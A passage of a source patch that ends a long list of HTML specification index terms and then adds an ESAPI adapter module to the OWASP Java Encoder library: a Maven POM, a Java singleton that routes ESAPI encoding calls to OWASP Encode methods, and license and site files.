+script data escaped end tag open state
+script data escaped less-than sign\n state
+script data escaped state
+script data less-than sign state
+script data state
+script documentation
+script error notifications
+script execution environment
+script nesting level
+script's\n browsing context
+script's\n document
+script's\n global object
+script's URL character\n encoding
+script's URL character\n encoding
+script's URL character encoding
+script's base URL
+script's browsing\n context
+script's browsing context
+script's document
+script's global\n object
+script's global\n object
+script's global object
+script-created parser
+scripting
+scripting disabled
+scripting flag
+scripting is\n disabled
+scripting is\n disabled
+scripting is disabled
+scripting is enabled
+scripting was enabled
+scripting was enabled or not
+scripts
+scroll
+scroll an element into view
+scroll to the fragment\n identifier
+scroll to the fragment identifier
+scrollAmount
+scrollDelay
+scrollbars
+scrolling
+seamless
+seamless\n browsing context flag
+seamless\n browsing context flag
+seamless\n iframe
+seamless browsing context flag
+search
+secondary\n browsing context
+secondary browsing\n context
+section
+section\n 6 of the W3C Patent Policy
+sectionRowIndex
+sectioning
+sectioning\n content
+sectioning\n content
+sectioning\n root
+sectioning content
+sectioning root
+sectioning roots
+sections
+secured
+seek
+seek the\n media controller
+seek the\n media controller
+seek the media\n controller
+seek the media controller
+seekable
+seeked
+seeking
+select
+select()
+selected
+selected\n coordinate
+selected\n files
+selected files
+selectedIndex
+selectedOptions
+selectedness
+selectionDirection
+selectionEnd
+selectionStart
+self
+self-closing start tag\n state
+self-closing start tag state
+sends a signal
+session\n history entry
+session\n histories
+session\n history
+session histories
+session history
+session history\n entry
+session history\n entry
+session history entries
+session history entry
+set\n of space-separated tokens
+set of\n scripts that will execute as soon as possible
+set of\n scripts that will execute as soon as possible
+set of\n comma-separated tokens
+set of comma-separated tokens
+set of space-separated\n tokens
+set of space-separated tokens
+set the document's address
+set the value of a new\n indexed property
+setCustomValidity
+setCustomValidity()
+setData
+setDragImage
+setDragImage()
+setInterval
+setInterval()
+setSelectionRange
+setSelectionRange()
+setTimeout
+setTimeout()
+setter
+setter creator
+shape
+sheet
+should be used
+showModalDialog
+showModalDialog()
+showing
+showing by\n default
+showing by default
+shows caching\n progress
+shows caching progress
+simple\n color
+simple\n color
+simple color
+single page HTML
+size
+sizes
+skip White_Space\n characters
+slaved
+slaved\n media elements
+slaved\n media elements
+slaved media\n elements
+slaved media\n elements
+slaved media element
+slaved media elements
+slide
+slots
+small
+snapToLines
+sniffed type of the\n resource
+soft
+source
+source\n node
+source\n node
+source\n browsing context
+source\n browsing context
+source browsing\n context
+source browsing\n context
+source browsing\n context
+source browsing context
+source node
+space\n characters
+space\n characters
+space\n character
+space\n characters
+space\n characters
+space\n characters
+space character
+space characters
+spacer
+span
+special
+specially focusable
+specified
+specifies
+specifies an\n operation
+specify an\n operation
+spellcheck
+spin the event loop
+spins\n the event loop
+split it on\n spaces
+split on\n spaces
+split on\n spaces
+split on spaces
+split the\n attribute's value on spaces
+split the\n string on commas
+split the attribute value on commas
+split the attribute's\n value on spaces
+split the content\n attribute on spaces
+splitting <var title="">value</var> on spaces
+splitting on commas
+src
+srcdoc
+srclang
+stack\n of open elements
+stack\n of open elements
+stack of\n open elements
+stack of\n open elements
+stack of\n open elements
+stack of open\n elements
+stack of open\n elements
+stack of open\n elements
+stack of open\n elements
+stack of open\n elements
+stack of open elements
+stall timeout
+stalled
+standby
+start
+start\n tag
+start\n times
+start tag
+start time
+start times
+startOffsetTime
+startTime
+state
+state\n objects
+state object
+state objects
+statically validate the\n constraints
+status
+statusbar
+step
+step\n base
+step base
+step scale\n factor
+step scale factor
+stepDown
+stepDown()
+stepMismatch
+stepUp
+stepUp()
+steps to expose a\n media-resource-specific text track
+stop
+stop parsing
+stopped
+stopped due to errors
+stopped parsing
+stops
+stops\n parsing
+storage\n mutex
+storage mutex
+strictly splitting the\n string
+strike
+strip leading\n and trailing whitespace
+strip leading and\n trailing whitespace
+strip leading and\n trailing whitespace
+stripped line breaks
+stripping leading and trailing whitespace
+strong
+structured\n clone
+structured\n clone
+structured clone
+style
+style rule suggested in the rendering\n section
+style sheet\n ready
+style sheet ready
+stylesheet
+styling processing\n model
+styling processing model
+sub
+submit
+submit\n button
+submit\n buttons
+submit button
+submit buttons
+submit()
+submittable
+submittable elements
+submitted
+submitting
+subscribe
+subtitle
+subtitles
+suffer from a step\n mismatch
+suffer from a step mismatch
+suffering from a\n type mismatch
+suffering from a custom\n error
+suffering from a custom error
+suffering from a pattern mismatch
+suffering from a step mismatch
+suffering from a type mismatch
+suffering from an\n overflow
+suffering from an\n underflow
+suffering from an overflow
+suffering from an underflow
+suffering from being\n missing
+suffering from being missing
+suffering from being too long
+suggestions\n source element
+suggestions source\n element
+suggestions source element
+summary
+sup
+support the scripting\n language
+supported\n property names
+supported property\n indices
+supported property indices
+supported property names
+supporting the suggested\n default rendering
+suspend
+svg
+swapCache
+swapCache()
+synchronous\n section
+synchronous\n section
+synchronous\n sections
+synchronous\n section
+synchronous section
+synchronous sections
+syntax for which
+tBodies
+tFoot
+tHead
+tabIndex
+tabindex
+table
+table\n model
+table layout techniques
+table model
+table model\n errors
+table model error
+tables
+tag
+tag\n name state
+tag cloud
+tag name
+tag name\n state
+tag open state
+tags
+target
+target element
+task
+task\n queue
+task\n queue
+task\n queues
+task\n queues
+task\n source
+task\n queue
+task queue
+task queues
+task source
+task sources
+tasks
+tbody
+td
+techniques for describing\n tables
+tel
+temporary\n buffer
+temporary buffer
+term
+text
+text\n track cue writing direction
+text\n track
+text\n track cue writing direction
+text\n track
+text\n nodes
+text\n track
+text\n track cue active flag
+text\n track kind
+text\n tracks
+text\n node
+text\n track
+text\n track cue size
+text\n track cue writing direction
+text\n track mode
+text\n tracks
+text field
+text node
+text nodes
+text track
+text track\n cue
+text track\n mode
+text track\n cue order
+text track\n cues
+text track\n cue
+text track\n cue display state
+text track\n cue start time
+text track\n kind
+text track\n label
+text track\n mode
+text track\n cue
+text track\n cues
+text track\n mode
+text track\n readiness state
+text track cue
+text track cue\n display state
+text track cue\n pause-on-exit flag
+text track cue\n active flag
+text track cue\n end time
+text track cue\n identifier
+text track cue\n pause-on-exit flag
+text track cue\n size
+text track cue\n start time
+text track cue\n text
+text track cue\n writing direction
+text track cue\n identifier
+text track cue\n order
+text track cue\n pause-on-exit flag
+text track cue\n size
+text track cue\n text
+text track cue active\n flag
+text track cue active\n flag
+text track cue active flag
+text track cue display state
+text track cue end\n time
+text track cue end\n time
+text track cue end time
+text track cue identifier
+text track cue order
+text track cue pause-on-exit\n flag
+text track cue pause-on-exit\n flag
+text track cue pause-on-exit flag
+text track cue size
+text track cue start\n time
+text track cue start\n time
+text track cue start time
+text track cue text
+text track cue writing\n direction
+text track cue writing direction
+text track cues
+text track disabled
+text track failed to load
+text track hidden
+text track kind
+text track label
+text track language
+text track list of cues
+text track loaded
+text track loading
+text track mode
+text track not loaded
+text track readiness\n state
+text track readiness\n state
+text track readiness state
+text track showing
+text tracks
+text-level semantics\n usage summary
+text/cache-manifest
+text/html
+text/plain
+textContent
+textLength
+textPosition
+textTracks
+textTracks[
+textarea
+textarea effective height
+textarea effective width
+tfoot
+th
+that algorithm
+the\n resource's Content-Type metadata
+the\n script block's type
+the\n script block's type
+the\n resource's Content-Type metadata
+the\n directionality
+the\n document's address
+the\n <code>title</code> element
+the\n address
+the\n directionality
+the\n document's current address
+the\n script block's type
+the\n <code>title</code> element
+the\n conditions described above
+the\n incumbent body element
+the\n <code>html</code> element
+the\n HTML syntax
+the\n active formatting elements are reconstructed
+the\n body element
+the\n directionality
+the\n document's address
+the\n document's current address
+the\n drag data item kind
+the\n link is an alternative stylesheet
+the\n rules for choosing a browsing context given a browsing context\n name
+the\n script settings determined from the node
+the <code>Document</code>'s address
+the <code>applet</code>\n element
+the <code>embed</code> element
+the <code>head</code>\n element
+the <code>head</code> element
+the <code>html</code> element
+the <code>object</code> element
+the <code>title</code>\n element
+the <code>title</code> element
+the <span>origin</span> it was\n assigned when its browsing context was created
+the HTML\n syntax
+the HTML syntax
+the URL given by this\n link
+the W3C CVS server
+the XHTML\n syntax
+the XHTML\n syntax
+the XHTML syntax
+the attributes common to all media\n elements
+the body\n element
+the body\n element
+the body\n element
+the body element
+the current address
+the directionality
+the document's\n address
+the document's\n current address
+the document's\n address
+the document's address
+the document's current\n address
+the document's current address
+the document's domain
+the drag data\n item type string
+the drag data item\n kind
+the drag data item\n kind
+the drag data item\n kind
+the drag data item kind
+the drag data item type\n string
+the drag data item type string
+the encoding of the\n document itself
+the event handler processing algorithm
+the example in the File\n Upload state section
+the handling for misnested tags
+the indicated part of the\n document
+the indicated part of the\n document
+the indicated part of the document
+the link is an\n alternative stylesheet
+the location bar <code>BarProp</code>\n object
+the manifest
+the menu bar <code>BarProp</code>\n object
+the next step
+the personal bar <code>BarProp</code>\n object
+the rendering section
+the requirements given in the prose
+the resource's Content-Type\n metadata
+the resource's Content-Type\n metadata
+the rules\n described previously
+the rules for choosing a\n browsing context given a browsing context name
+the rules for choosing a browsing context given a\n browsing context name
+the rules for choosing a browsing context given a browsing\n context name
+the script\n block's type
+the script\n settings determined from the node
+the script block's\n character encoding
+the script block's\n type
+the script block's\n type
+the script block's character encoding
+the script block's fallback character\n encoding
+the script block's fallback character\n encoding
+the script block's source
+the script block's type
+the scrollbar <code>BarProp</code>\n object
+the section on\n footnotes
+the section the linking element is most\n closely associated with
+the sniffed type of the resource
+the stack
+the status bar <code>BarProp</code>\n object
+the step labeled\n "fragment identifiers"
+the text tracks are ready
+the toolbar <code>BarProp</code>\n object
+thead
+their document's current\n address
+this
+this is\n a reference, not a copy
+this is a reference, not a copy
+through which
+time
+time-zone\n offset
+time-zone offset
+timeline\n offset
+timeline offset
+timeupdate
+title
+toBlob
+toDataURL
+toDataURL()
+toggle
+tokenization
+tokenizer
+tooLong
+toolbar
+top
+top-level\n browsing context
+top-level\n browsing context
+top-level\n browsing context
+top-level browsing\n context
+top-level browsing\n context
+top-level browsing\n context
+top-level browsing\n context
+top-level browsing\n contexts
+top-level browsing context
+top-level browsing contexts
+tr
+track
+track\n URL
+track\n label
+track URL
+track label
+track language
+trademark
+transparent
+transparently follow the redirect
+traverse the\n history by a delta
+traverse the history by\n a delta
+traverse the history by a\n delta
+traverse the history by a delta
+traversing the\n history
+tree\n order
+tree\n order
+tree\n construction
+tree\n order
+tree construction
+tree order
+true-by-default
+trueSpeed
+truespeed
+trusted
+tt
+turn off
+turned off
+turned on
+type
+type\n sniffing rules
+type blacklist
+type information
+type string
+typeMismatch
+typeMustMatch
+typemustmatch
+types
+u
+ul
+unavailable
+undo transaction history
+unfocusing\n steps
+unfocusing steps
+unique\n identifier
+unique identifier
+unique identifier (ID)
+unit\n of related similar-origin browsing contexts
+unit of\n related similar-origin browsing contexts
+unit of related browsing\n contexts
+unit of related browsing contexts
+unit of related similar-origin browsing\n contexts
+unit of related similar-origin browsing contexts
+unload a\n document
+unload a document
+unloading document cleanup steps
+unordered\n set of unique space-separated tokens
+unordered set of unique\n space-separated tokens
+unordered set of unique space-separated tokens
+unquoted
+unregisterContentHandler
+unregisterProtocolHandler
+up
+update
+update\n status
+update status
+update the\n image data
+update the\n session history with the new page
+update the image data
+update the session\n history with the new page
+update the session history with\n the new page
+update the session history with the new\n page
+update the session history with the new page
+updated the image\n data
+updateready
+updating the session history with\n the new page
+upgrade\n attempt
+upgrade\n attempt
+upgrade attempt
+use the plugin that supports <var title="">resource type</var>
+use-credentials
+useMap
+used during the parsing
+usemap
+user\n interaction task source
+user interaction
+user interaction task\n source
+user interaction task\n source
+user interaction task source
+userAgent
+using the\n rules for
+using the rules for
+vAlign
+vCard MIME Directory\n Profile
+vLink
+valid
+valid\n URL
+valid\n integer
+valid\n MIME type
+valid\n date string
+valid\n date string in content with optional time
+valid\n floating point number
+valid\n floating point numbers
+valid\n forced-UTC global date and time string
+valid\n global date and time string
+valid\n integer
+valid\n local date and time string
+valid\n media query
+valid\n month string
+valid\n non-empty URL potentially surrounded by spaces
+valid\n non-negative integers
+valid\n simple color
+valid\n time string
+valid\n week string
+valid MIME\n type
+valid MIME type
+valid MIME type with no parameters
+valid MIME types with no parameters
+valid URL
+valid URL\n potentially surrounded by spaces
+valid URL potentially\n surrounded by spaces
+valid URL potentially surrounded by\n spaces
+valid browsing\n context name or keyword
+valid browsing\n context names or keywords
+valid browsing context\n name
+valid browsing context\n name or keyword
+valid browsing context name
+valid browsing context name\n or keyword
+valid date\n string
+valid date or\n time string
+valid date or time string
+valid date or time string in content
+valid date string
+valid date string with\n optional time
+valid date string with optional\n time
+valid e-mail address
+valid e-mail address\n list
+valid e-mail address list
+valid floating\n point number
+valid floating point\n number
+valid floating point\n numbers
+valid floating point number
+valid floating point numbers
+valid forced-UTC\n global date and time string
+valid forced-UTC global date and time\n string
+valid global\n date and time string
+valid global date and\n time strings
+valid global date and\n time string
+valid global date and time\n string
+valid global date and time string
+valid hash-name reference
+valid integer
+valid integers
+valid list of\n integers
+valid local date and\n time string
+valid local date and time\n string
+valid local date and time string
+valid lowercase simple color
+valid media query
+valid month\n string
+valid month string
+valid non-empty\n URL potentially surrounded by spaces
+valid non-empty URL
+valid non-empty URL potentially\n surrounded by spaces
+valid non-empty URL potentially surrounded by\n spaces
+valid non-negative\n integer
+valid non-negative\n integers
+valid non-negative integer
+valid simple color
+valid time\n string
+valid time string
+valid week\n string
+valid week string
+validationMessage
+validity
+validity states
+valign
+value
+value\n sanitization algorithm
+value mode\n flag
+value mode flag
+value sanitization\n algorithm
+value sanitization\n algorithm
+value sanitization algorithm
+value<em>s</em>
+valueAs<em>Date</em>
+valueAsDate
+valueAsNumber
+valueMissing
+valueType
+values
+values are\n reset
+valuetype
+var
+various W3C HTML WG\n lists
+various WHATWG lists
+version
+vertical\n growing right
+vertical growing\n left
+vertical growing\n right
+vertical growing\n left
+vertical growing left
+vertical growing right
+video
+videoHeight
+videoTracks
+videoWidth
+violation
+visible
+vlink
+vlinkColor
+void elements
+volume
+volumechange
+vspace
+waiting
+wbr
+web developer edition
+week
+week number of\n the last day
+week number of the last day
+whatwg@whatwg.org
+when the metadata of the clip becomes\n known
+whitelisted scheme
+whitespace
+whitespace trimming
+width
+width of the\n <code>select</code>'s labels
+will
+will\n not
+will be fired
+will cause
+willValidate
+willful\n violation
+willful violation
+window
+window.alert()
+window.applicationCache
+window.close()
+window.open()
+wrap
+write
+writeln
+writing direction
+xml:base
+xml:lang
+xmp
+yet more restrictions
+yieldForStorageUpdates
diff --git a/esapi/pom.xml b/esapi/pom.xml
new file mode 100644
index 0000000..cc26851
--- /dev/null
+++ b/esapi/pom.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="US-ASCII"?>
+<!--
+~ Copyright (c) 2015 OWASP.
+~ All rights reserved.
+~
+~ Redistribution and use in source and binary forms, with or without
+~ modification, are permitted provided that the following conditions
+~ are met:
+~
+~ * Redistributions of source code must retain the above
+~ copyright notice, this list of conditions and the following
+~ disclaimer.
+~
+~ * Redistributions in binary form must reproduce the above
+~ copyright notice, this list of conditions and the following
+~ disclaimer in the documentation and/or other materials
+~ provided with the distribution.
+~
+~ * Neither the name of the OWASP nor the names of its
+~ contributors may be used to endorse or promote products
+~ derived from this software without specific prior written
+~ permission.
+~
+~ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+~ "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+~ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+~ FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+~ COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+~ INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+~ (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+~ SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+~ HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+~ STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+~ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+~ OF THE POSSIBILITY OF SUCH DAMAGE.
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+ xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+ <modelVersion>4.0.0</modelVersion>
+
+ <parent>
+ <groupId>org.owasp.encoder</groupId>
+ <artifactId>encoder-parent</artifactId>
+ <version>1.2.3</version>
+ </parent>
+
+ <artifactId>encoder-esapi</artifactId>
+ <packaging>jar</packaging>
+
+ <name>ESAPI Thunk</name>
+ <description>
+ The OWASP Encoders ESAPI Thunk provides an easy way to plugin the Encoder
+ Projects API into an implementation of ESAPI.
+ </description>
+
+ <properties>
+ <jigsaw.module.name>org.owasp.encoder.esapi</jigsaw.module.name>
+ </properties>
+
+ <dependencies>
+ <dependency>
+ <groupId>org.owasp.encoder</groupId>
+ <artifactId>encoder</artifactId>
+ <version>${project.parent.version}</version>
+ </dependency>
+ <dependency>
+ <groupId>org.owasp.esapi</groupId>
+ <artifactId>esapi</artifactId>
+ <version>[2.2.3.1,3)</version>
+ </dependency>
+ </dependencies>
+</project>
diff --git a/esapi/src/main/java/org/owasp/encoder/esapi/ESAPIEncoder.java b/esapi/src/main/java/org/owasp/encoder/esapi/ESAPIEncoder.java
new file mode 100644
index 0000000..02334bd
--- /dev/null
+++ b/esapi/src/main/java/org/owasp/encoder/esapi/ESAPIEncoder.java
@@ -0,0 +1,254 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder.esapi;
+
+import java.io.IOException;
+import java.net.URI;
+import org.owasp.encoder.Encode;
+import org.owasp.esapi.Encoder;
+import org.owasp.esapi.codecs.Codec;
+import org.owasp.esapi.errors.EncodingException;
+import org.owasp.esapi.reference.DefaultEncoder;
+
+/**
+ * ESAPIEncoder is a singleton implementation of the ESAPI Encoder API. It
+ * is meant to allow quick and easy drop-in replacement of the default
+ * encoder included with the ESAPI library, as the Encoder libraries are
+ * faster and use less memory thus cause fewer garbage collections.
+ *
+ * <p>Please note that the OWASP Java Encoders does not implement all
+ * the encodings of the ESAPI Encoder API. In such situations this
+ * implementation will fallback onto the default reference implementation
+ * included with ESAPI. Thus you should see the performance benefit from
+ * the methods included in the Encoder, but still maintain compatibility
+ * with all methods from ESAPI Encoder.</p>
+ *
+ * <p>For clarity, the reason the OWASP Java Encoders do not include some
+ * of the ESAPI library is that the Encoders library is specifically focused
+ * on <i>encoding</i>, and thus does not include:</p>
+ *
+ * <ul>
+ * <li>Input validation/normalization methods:
+ * {@link org.owasp.esapi.Encoder#canonicalize(String)},
+ * {@link org.owasp.esapi.Encoder#canonicalize(String, boolean)},
+ * {@link org.owasp.esapi.Encoder#canonicalize(String, boolean, boolean)}
+ * {@link org.owasp.esapi.Encoder#getCanonicalizedURI(URI)}</li>
+ *
+ * <li>Decoding methods:
+ * {@link org.owasp.esapi.Encoder#decodeForHTML(String)},
+ * {@link org.owasp.esapi.Encoder#decodeFromURL(String)}</li>
+ *
+ * <li>Binary-to-text/text-to-binary:
+ * {@link org.owasp.esapi.Encoder#encodeForBase64(byte[], boolean)},
+ * {@link org.owasp.esapi.Encoder#decodeFromBase64(String)}.</li>
+ *
+ * <li>Bind-able APIs (such as {@link java.sql.PreparedStatement}:
+ * {@link org.owasp.esapi.Encoder#encodeForSQL(org.owasp.esapi.codecs.Codec, String)},
+ * {@link org.owasp.esapi.Encoder#encodeForXPath(String)},
+ * {@link org.owasp.esapi.Encoder#encodeForOS(org.owasp.esapi.codecs.Codec, String)}</li>
+ *
+ * <li>Rarely-used or alternate compatible encoding:
+ * {@link org.owasp.esapi.Encoder#encodeForVBScript(String)},
+ * {@link org.owasp.esapi.Encoder#encodeForLDAP(String)},
+ * {@link org.owasp.esapi.Encoder#encodeForLDAP(String, boolean)},
+ * {@link org.owasp.esapi.Encoder#encodeForDN(String)}</li>
+ * </ul>
+ *
+ * <p>(Please note that with sufficient feedback from the user base, the above
+ * mentioned methods may be implemented in future releases of the OWASP
+ * Java Encoders, if/when that happens, this shim class will be updated to
+ * call out to the new methods.)</p>
+ *
+ * <p>You may notice that this class does not actually implement Encoder
+ * itself. Instead it simply provides a {@link #getInstance()} method that
+ * does. This allows the implementation details maximum flexibility by not
+ * creating a any public API that would restrict changes later</p>
+ *
+ * @author jeffi
+ */
+public final class ESAPIEncoder {
+
+ /** No instances. */
+ private ESAPIEncoder() {}
+
+ /**
+ * Returns an instance of the Encoder. This method is the only supported
+ * mechanism by which an ESAPIEncoder instance should be obtained. The
+ * returned implementation is guaranteed to be thread-safe for the methods
+ * that the OWASP Java Encoders implement (see class documentation).
+ * Though not a requirement of the ESAPI Encoder API, the returned value
+ * is also serializable.
+ *
+ * @return An encoder implementation that uses the OWASP Java Encoders
+ * for most of the common encoding methods.
+ */
+ public static Encoder getInstance() {
+ return Impl.INSTANCE;
+ }
+
+ /**
+ * This is the private singleton that implements the ESAPI Encoder shim.
+ * It is implemented as a single-value enum to get all the "free" singleton
+ * properties associated with enums--such as serialization, and on-demand
+ * initialization.
+ *
+ * <p>The implementation is intentionally private to avoid any API baggage.
+ * The instance should be obtained using
+ * {@link org.owasp.encoder.esapi.ESAPIEncoder#getInstance()}.</p>
+ */
+ private enum Impl implements Encoder {
+ /**
+ * The singleton instance.
+ */
+ INSTANCE;
+
+ /**
+ * The reference encoder from ESAPI. Any ESAPI method without an
+ * OWASP Java Encoder equivalent is delegated to this instance.
+ */
+ private final Encoder _referenceEncoder = DefaultEncoder.getInstance();
+
+ /** {@inheritDoc} */
+ public String canonicalize(String s) {
+ return _referenceEncoder.canonicalize(s);
+ }
+
+ /** {@inheritDoc} */
+ public String canonicalize(String s, boolean strict) {
+ return _referenceEncoder.canonicalize(s, strict);
+ }
+
+ /** {@inheritDoc} */
+ public String canonicalize(String s, boolean restrictMultiple, boolean restrictMixed) {
+ return _referenceEncoder.canonicalize(s, restrictMultiple, restrictMixed);
+ }
+
+ /** {@inheritDoc} */
+ public String getCanonicalizedURI(URI dirtyUri) {
+ return _referenceEncoder.getCanonicalizedURI(dirtyUri);
+ }
+
+ /** {@inheritDoc} */
+ public String encodeForCSS(String s) {
+ return Encode.forCssString(s);
+ }
+
+ /** {@inheritDoc} */
+ public String encodeForHTML(String s) {
+ return Encode.forHtml(s);
+ }
+
+ /** {@inheritDoc} */
+ public String decodeForHTML(String s) {
+ return _referenceEncoder.decodeForHTML(s);
+ }
+
+ /** {@inheritDoc} */
+ public String encodeForHTMLAttribute(String s) {
+ return Encode.forHtmlAttribute(s);
+ }
+
+ /** {@inheritDoc} */
+ public String encodeForJavaScript(String s) {
+ return Encode.forJavaScript(s);
+ }
+
+ /** {@inheritDoc} */
+ public String encodeForVBScript(String s) {
+ return _referenceEncoder.encodeForVBScript(s);
+ }
+
+ /** {@inheritDoc} */
+ public String encodeForSQL(Codec codec, String s) {
+ return _referenceEncoder.encodeForSQL(codec, s);
+ }
+
+ /** {@inheritDoc} */
+ public String encodeForOS(Codec codec, String s) {
+ return _referenceEncoder.encodeForOS(codec, s);
+ }
+
+ /** {@inheritDoc} */
+ public String encodeForLDAP(String s) {
+ return _referenceEncoder.encodeForLDAP(s);
+ }
+
+ /** {@inheritDoc} */
+ public String encodeForLDAP(String s, boolean b) {
+ return _referenceEncoder.encodeForLDAP(s, b);
+ }
+
+ /** {@inheritDoc} */
+ public String encodeForDN(String s) {
+ return _referenceEncoder.encodeForDN(s);
+ }
+
+ /** {@inheritDoc} */
+ public String encodeForXPath(String s) {
+ return _referenceEncoder.encodeForXPath(s);
+ }
+
+ /** {@inheritDoc} */
+ public String encodeForXML(String s) {
+ return Encode.forXml(s);
+ }
+
+ /** {@inheritDoc} */
+ public String encodeForXMLAttribute(String s) {
+ return Encode.forXmlAttribute(s);
+ }
+
+ /** {@inheritDoc} */
+ public String encodeForURL(String s) throws EncodingException {
+ return Encode.forUri(s);
+ }
+
+ /** {@inheritDoc} */
+ public String decodeFromURL(String s) throws EncodingException {
+ return _referenceEncoder.decodeFromURL(s);
+ }
+
+ /** {@inheritDoc} */
+ public String encodeForBase64(byte[] bytes, boolean wrap) {
+ return _referenceEncoder.encodeForBase64(bytes, wrap);
+ }
+
+ /** {@inheritDoc} */
+ public byte[] decodeFromBase64(String s) throws IOException {
+ return _referenceEncoder.decodeFromBase64(s);
+ }
+
+ }
+}
diff --git a/esapi/src/main/resources/META-INF/LICENSE b/esapi/src/main/resources/META-INF/LICENSE
new file mode 100644
index 0000000..f66c375
--- /dev/null
+++ b/esapi/src/main/resources/META-INF/LICENSE
@@ -0,0 +1,33 @@
+Copyright (c) 2015 Jeff Ichnowski
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions
+are met:
+
+ * Redistributions of source code must retain the above
+ copyright notice, this list of conditions and the following
+ disclaimer.
+
+ * Redistributions in binary form must reproduce the above
+ copyright notice, this list of conditions and the following
+ disclaimer in the documentation and/or other materials
+ provided with the distribution.
+
+ * Neither the name of the OWASP nor the names of its
+ contributors may be used to endorse or promote products
+ derived from this software without specific prior written
+ permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+OF THE POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file
diff --git a/esapi/src/site/site.xml b/esapi/src/site/site.xml
new file mode 100644
index 0000000..743ef44
--- /dev/null
+++ b/esapi/src/site/site.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="ISO-8859-1"?>
+<!--
+Copyright (c) 2015 Jeremy Long
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions
+are met:
+
+ * Redistributions of source code must retain the above
+ copyright notice, this list of conditions and the following
+ disclaimer.
+
+ * Redistributions in binary form must reproduce the above
+ copyright notice, this list of conditions and the following
+ disclaimer in the documentation and/or other materials
+ provided with the distribution.
+
+ * Neither the name of the OWASP nor the names of its
+ contributors may be used to endorse or promote products
+ derived from this software without specific prior written
+ permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
